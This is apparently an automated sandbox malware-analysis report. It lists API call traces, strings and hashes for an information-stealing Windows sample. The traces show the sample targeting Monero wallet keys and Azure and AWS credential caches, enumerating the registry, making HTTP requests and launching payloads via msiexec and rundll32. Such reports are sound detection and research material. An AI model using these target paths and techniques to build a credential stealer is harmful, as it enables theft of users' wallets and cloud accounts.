Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

InternetCloseHandle.WININET(00000000), ref: 00475FC7

Strings

------, xrefs: 00475C0B
", xrefs: 00475E16
------, xrefs: 00475A96
", xrefs: 00475CD5
------, xrefs: 00475D4C

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: efca1165f0294f7ef923cf3d86f9b0a1142c9142d640c9646f2890d99b166fab
Instruction ID: f32e30f2691db6368a5935578667294b91eb73444db1b378987104bbd25aa1fb
Opcode Fuzzy Hash: efca1165f0294f7ef923cf3d86f9b0a1142c9142d640c9646f2890d99b166fab
Instruction Fuzzy Hash: E6122171820118AAEB15FBA1DC95FEE7338BF14704F5045AFF10662091DFB82A5ACF69

Function 0047CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 00488B60: GetSystemTime.KERNEL32(00490E1A,0123A250,004905AE,?,?,004713F9,?,0000001A,00490E1A,00000000,?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 00488B86

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0047CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0047D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0047D0CE
lstrcat.KERNEL32(?,00000000), ref: 0047D208
lstrcat.KERNEL32(?,00491478), ref: 0047D217
lstrcat.KERNEL32(?,00000000), ref: 0047D22A
lstrcat.KERNEL32(?,0049147C), ref: 0047D239
lstrcat.KERNEL32(?,00000000), ref: 0047D24C
lstrcat.KERNEL32(?,00491480), ref: 0047D25B
lstrcat.KERNEL32(?,00000000), ref: 0047D26E
lstrcat.KERNEL32(?,00491484), ref: 0047D27D
lstrcat.KERNEL32(?,00000000), ref: 0047D290
lstrcat.KERNEL32(?,00491488), ref: 0047D29F
lstrcat.KERNEL32(?,00000000), ref: 0047D2B2
lstrcat.KERNEL32(?,0049148C), ref: 0047D2C1
lstrcat.KERNEL32(?,00000000), ref: 0047D2D4
lstrcat.KERNEL32(?,00491490), ref: 0047D2E3

Part of subcall function 0048A820: lstrlen.KERNEL32(00474F05,?,?,00474F05,00490DDE), ref: 0048A82B
Part of subcall function 0048A820: lstrcpy.KERNEL32(00490DDE,00000000), ref: 0048A885

lstrlen.KERNEL32(?), ref: 0047D32A
lstrlen.KERNEL32(?), ref: 0047D339

Part of subcall function 0048AA70: StrCmpCA.SHLWAPI(01239060,0047A7A7,?,0047A7A7,01239060), ref: 0048AA8F

DeleteFileA.KERNEL32(00000000), ref: 0047D3B4

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1e0bfbdc3d21719cfe82fbc4a5fadf863a4ca7c8155f73d7ba0f194cef0f349a
Instruction ID: 932373735b0208a54a1d376726386cefe792610e5ef07ff2e84f2928986d67d8
Opcode Fuzzy Hash: 1e0bfbdc3d21719cfe82fbc4a5fadf863a4ca7c8155f73d7ba0f194cef0f349a
Instruction Fuzzy Hash: 0EE16FB1910108ABDB04FBA1DD96EEE7379AF14304F10455BF106A20A1DE7CAA59CB7A

Function 0047C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0123D4C8,00000000,?,0049144C,00000000,?,?), ref: 0047CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0047CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0047CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0047CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0047CAD9
StrStrA.SHLWAPI(?,0123D4E0,00490B52), ref: 0047CAF7
StrStrA.SHLWAPI(00000000,0123D4F8), ref: 0047CB1E
StrStrA.SHLWAPI(?,0123D8C0,00000000,?,00491458,00000000,?,00000000,00000000,?,01239130,00000000,?,00491454,00000000,?), ref: 0047CCA2
StrStrA.SHLWAPI(00000000,0123D760), ref: 0047CCB9

Part of subcall function 0047C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0047C871
Part of subcall function 0047C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0047C87C

StrStrA.SHLWAPI(?,0123D760,00000000,?,0049145C,00000000,?,00000000,01239210), ref: 0047CD5A
StrStrA.SHLWAPI(00000000,01238F40), ref: 0047CD71

Part of subcall function 0047C820: lstrcat.KERNEL32(?,00490B46), ref: 0047C943
Part of subcall function 0047C820: lstrcat.KERNEL32(?,00490B47), ref: 0047C957
Part of subcall function 0047C820: lstrcat.KERNEL32(?,00490B4E), ref: 0047C978

lstrlen.KERNEL32(00000000), ref: 0047CE44
CloseHandle.KERNEL32(00000000), ref: 0047CE9C

Strings

, xrefs: 0047C9C6

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 1d3239e68d4af6b02ca1a8cd2ebac696917befeba3ab7d3428659ee856a3fff3
Instruction ID: c5600550a37edd5d3bf85b6176c9f3e2d262c8d48e4a681ee76ffcb5c6b7f945
Opcode Fuzzy Hash: 1d3239e68d4af6b02ca1a8cd2ebac696917befeba3ab7d3428659ee856a3fff3
Instruction Fuzzy Hash: E4E110B1800108ABDB14FBA5DC91FEE7779AF14304F40456FF10662191EF786A9ACB7A

Function 00488320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

RegOpenKeyExA.ADVAPI32(00000000,0123B328,00000000,00020019,00000000,004905B6), ref: 004883A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00488426
wsprintfA.USER32 ref: 00488459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0048847B
RegCloseKey.ADVAPI32(00000000), ref: 0048848C
RegCloseKey.ADVAPI32(00000000), ref: 00488499

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Strings

?, xrefs: 0048837A
- , xrefs: 004885A3
%s\%s, xrefs: 0048844D

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 37474cb59c04230c869e177ddb732a9899ba30e562d32cb8e61947892a3bdbfa
Instruction ID: 14bd2cc04e77d0c6836271b3606689e176899d5232f9c6f1af566b15404b8a51
Opcode Fuzzy Hash: 37474cb59c04230c869e177ddb732a9899ba30e562d32cb8e61947892a3bdbfa
Instruction Fuzzy Hash: 1A811EB1910118ABEB24EB50CC91FEE77B9FF08704F4086DAE109A6140DF796B85CFA5

Function 00484D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00488DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00488E0B

lstrcat.KERNEL32(?,00000000), ref: 00484DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00484DCD

Part of subcall function 00484910: wsprintfA.USER32 ref: 0048492C
Part of subcall function 00484910: FindFirstFileA.KERNEL32(?,?), ref: 00484943

lstrcat.KERNEL32(?,00000000), ref: 00484E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00484E59

Part of subcall function 00484910: StrCmpCA.SHLWAPI(?,00490FDC), ref: 00484971
Part of subcall function 00484910: StrCmpCA.SHLWAPI(?,00490FE0), ref: 00484987
Part of subcall function 00484910: FindNextFileA.KERNEL32(000000FF,?), ref: 00484B7D
Part of subcall function 00484910: FindClose.KERNEL32(000000FF), ref: 00484B92

lstrcat.KERNEL32(?,00000000), ref: 00484EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00484EE5

Part of subcall function 00484910: wsprintfA.USER32 ref: 004849B0
Part of subcall function 00484910: StrCmpCA.SHLWAPI(?,004908D2), ref: 004849C5
Part of subcall function 00484910: wsprintfA.USER32 ref: 004849E2
Part of subcall function 00484910: PathMatchSpecA.SHLWAPI(?,?), ref: 00484A1E
Part of subcall function 00484910: lstrcat.KERNEL32(?,0123E758), ref: 00484A4A
Part of subcall function 00484910: lstrcat.KERNEL32(?,00490FF8), ref: 00484A5C
Part of subcall function 00484910: lstrcat.KERNEL32(?,?), ref: 00484A70
Part of subcall function 00484910: lstrcat.KERNEL32(?,00490FFC), ref: 00484A82
Part of subcall function 00484910: lstrcat.KERNEL32(?,?), ref: 00484A96
Part of subcall function 00484910: CopyFileA.KERNEL32(?,?,00000001), ref: 00484AAC
Part of subcall function 00484910: DeleteFileA.KERNEL32(?), ref: 00484B31

Strings

*.*, xrefs: 00484E64
Azure\.IdentityService, xrefs: 00484EEB
*.*, xrefs: 00484DD8
\.aws\, xrefs: 00484E4D
\.azure\, xrefs: 00484DC1
msal.cache, xrefs: 00484EF0
Azure\.azure, xrefs: 00484DD3
Azure\.aws, xrefs: 00484E5F
\.IdentityService\, xrefs: 00484ED9

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 7035b97e70c409ac4ea80df5c5edf5cb985b86d98c3ec131f575995ea4fb75d5
Instruction ID: fae10b047aa6e019273639bd35fe93c8ed3a74a4d1139226f5eadfebadd65bda
Opcode Fuzzy Hash: 7035b97e70c409ac4ea80df5c5edf5cb985b86d98c3ec131f575995ea4fb75d5
Instruction Fuzzy Hash: B441A4B9A4020466DB14F760EC47FED3638AB64704F00499AB149664C1FEFD5BC98B96

Function 00489010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0048906C

Strings

image/jpeg, xrefs: 00489136

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b5383eff8e399f357df9f3ad0ff2303d067bde93fda2beb21b8564e820eb7ffd
Instruction ID: e8b8174d5854b946799761b5b1543a04bee3eb421270c405a1fad11c2a21c3b1
Opcode Fuzzy Hash: b5383eff8e399f357df9f3ad0ff2303d067bde93fda2beb21b8564e820eb7ffd
Instruction Fuzzy Hash: 847110B5910208AFDB04EFE4DC89FEEB7B9BF48300F148619F515A7290DB38A945CB65

Function 00482E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

ShellExecuteEx.SHELL32(0000003C), ref: 004831C5
ShellExecuteEx.SHELL32(0000003C), ref: 0048335D
ShellExecuteEx.SHELL32(0000003C), ref: 004834EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 004834BF
/passive, xrefs: 0048345B
.msi, xrefs: 00483398
"" , xrefs: 0048309A
/i ", xrefs: 004833E4
.dll, xrefs: 004831E5
C:\Windows\system32\rundll32.exe, xrefs: 00483332
<, xrefs: 00483490

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 103207045ac33aa0ac10e9f0ad1a7b152faa0cbd8d7c49280ca70c8911f63b8e
Instruction ID: c69f48aa7c373b186fcf8b67230963c7b8886ced6050d97153745d908a6f738e
Opcode Fuzzy Hash: 103207045ac33aa0ac10e9f0ad1a7b152faa0cbd8d7c49280ca70c8911f63b8e
Instruction Fuzzy Hash: 8B121E718001089AEB15FBA1CC92FDDB778AF14304F50495FE50666191EFBC2B9ACB6A

Function 004852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 00476280: InternetOpenA.WININET(00490DFE,00000001,00000000,00000000,00000000), ref: 004762E1
Part of subcall function 00476280: StrCmpCA.SHLWAPI(?,0123E858), ref: 00476303
Part of subcall function 00476280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00476335
Part of subcall function 00476280: HttpOpenRequestA.WININET(00000000,GET,?,0123E298,00000000,00000000,00400100,00000000), ref: 00476385
Part of subcall function 00476280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004763BF
Part of subcall function 00476280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004763D1

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00485318
lstrlen.KERNEL32(00000000), ref: 0048532F

Part of subcall function 00488E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00488E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00485364
lstrlen.KERNEL32(00000000), ref: 00485383
lstrlen.KERNEL32(00000000), ref: 004853AE

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Strings

ERROR, xrefs: 0048546F
ERROR, xrefs: 004854A9
ERROR, xrefs: 0048530A
ERROR, xrefs: 004853B9
ERROR, xrefs: 00485432

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: f0588014511e6c18cdaf3ad0d6b6316384da649a5ee87cd53537b7d720a72510
Instruction ID: 6b015892b98b068dbfc9455735fa27259d57fd5272d7880ecf4fba40e257bac2
Opcode Fuzzy Hash: f0588014511e6c18cdaf3ad0d6b6316384da649a5ee87cd53537b7d720a72510
Instruction Fuzzy Hash: 52514F70910108ABEB18FF65C992AED3779AF10304F50482FF40A56591EF7C6B56CB7A

Function 004812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
